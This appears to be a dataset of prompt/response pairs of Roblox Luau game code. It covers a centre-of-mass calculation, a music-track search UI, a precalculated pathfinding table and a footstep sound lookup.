		TotalMass = TotalMass + Part:GetMass()
		SumOfMasses = SumOfMasses + Part:GetMass() * Part.Position
	end

	-- print("Sum of masses: " .. tostring(SumOfMasses))
	-- print("Total mass:    " .. tostring(TotalMass))

	return SumOfMasses/TotalMass, TotalMass
end


Prompt: -- Function to update the search results based on the search text

Response:
local function updateSearchResults(searchText)
	-- Clear existing search results
	for _, child in ipairs(searchScrollingFrame:GetChildren()) do
		if not child:IsA("UIListLayout") then
			child:Destroy()
		end
	end

	local repositories = config.clippify.Repositories
	local tracks = {} -- This will store the combined tracks from all repositories

	-- Loop through each repository and load the tracks
	for _, repository in ipairs(repositories) do
		local repoTracks = require(repository)
		for _, trackInfo in ipairs(repoTracks) do
			table.insert(tracks, trackInfo)
		end
	end

	-- Filter and copy appropriate track frames based on the search text
	for _, trackInfo in ipairs(tracks) do
		local trackName = trackInfo.name
		if searchText == "" or string.find(string.lower(trackName), string.lower(searchText)) then
			-- Create a copy of the TrackFrame
			local trackFrame = game.ReplicatedStorage.ClipPhone.TrackFrame:Clone()
			trackFrame.Name = trackName
			trackFrame.ArtCover.Image = trackInfo.imageId
			trackFrame.Title.Text = trackName
			trackFrame.Parent = searchScrollingFrame
			trackFrame.Visible = true
		end
	end
end


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{42,38,40,39,41,30,56,58},t},
[49]={{42,38,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{42,38,40,39,41,30,56,58,20,19},t},
[59]={{42,38,40,39,41,59},t},
[63]={{42,38,40,39,41,30,56,58,23,62,63},t},
[34]={{42,38,35,34},t},
[21]={{42,38,40,39,41,30,56,58,20,21},t},
[48]={{42,38,35,34,32,31,29,28,44,45,49,48},t},
[27]={{42,38,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{42,38,35,34,32,31},t},
[56]={{42,38,40,39,41,30,56},t},
[29]={{42,38,35,34,32,31,29},t},
[13]={n,f},
[47]={{42,38,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{42,38,35,34,32,31,29,28,44,45},t},
[57]={{42,38,40,39,41,30,56,57},t},
[36]={{42,38,35,37,36},t},
[25]={{42,38,35,34,32,31,29,28,27,26,25},t},
[71]={{42,38,40,39,41,59,61,71},t},
[20]={{42,38,40,39,41,30,56,58,20},t},
[60]={{42,38,40,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{42,38,40,39,41,59,61,71,72,76,73,75},t},
[22]={{42,38,40,39,41,30,56,58,20,21,22},t},
[74]={{42,38,40,39,41,59,61,71,72,76,73,74},t},
[62]={{42,38,40,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{42,38,35,37},t},
[2]={n,f},
[35]={{42,38,35},t},
[53]={{42,38,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{42,38,40,39,41,59,61,71,72,76,73},t},
[72]={{42,38,40,39,41,59,61,71,72},t},
[33]={{42,38,35,37,36,33},t},
[69]={{42,38,40,39,41,60,69},t},
[65]={{42,38,40,39,41,30,56,58,20,19,66,64,65},t},
[26]={{42,38,35,34,32,31,29,28,27,26},t},
[68]={{42,38,40,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{42,38,40,39,41,59,61,71,72,76},t},
[50]={{42,38,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{42,38,40,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{42,38,35,34,32,31,29,28,27,26,25,24},t},
[23]={{42,38,40,39,41,30,56,58,23},t},
[44]={{42,38,35,34,32,31,29,28,44},t},
[39]={{42,38,40,39},t},
[32]={{42,38,35,34,32},t},
[3]={n,f},
[30]={{42,38,40,39,41,30},t},
[51]={{42,38,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{42,38,40,39,41,30,56,58,20,19,66,64,67},t},
[61]={{42,38,40,39,41,59,61},t},
[55]={{42,38,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{42,38,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{42},t},
[40]={{42,38,40},t},
[52]={{42,38,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{42,38,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{42,38,40,39,41},t},
[17]={n,f},
[38]={{42,38},t},
[28]={{42,38,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{42,38,40,39,41,30,56,58,20,19,66,64},t},
}
return r


Prompt: -- Get the correct sound from our sound list.

Response:
local function getSoundProperties()
	for name, data in pairs(IDList) do
		if name == material then
			id = data.id
			volume = data.volume
			playbackSpeed = (humanoid.WalkSpeed / 16) * data.speed
			break
		end
	end
end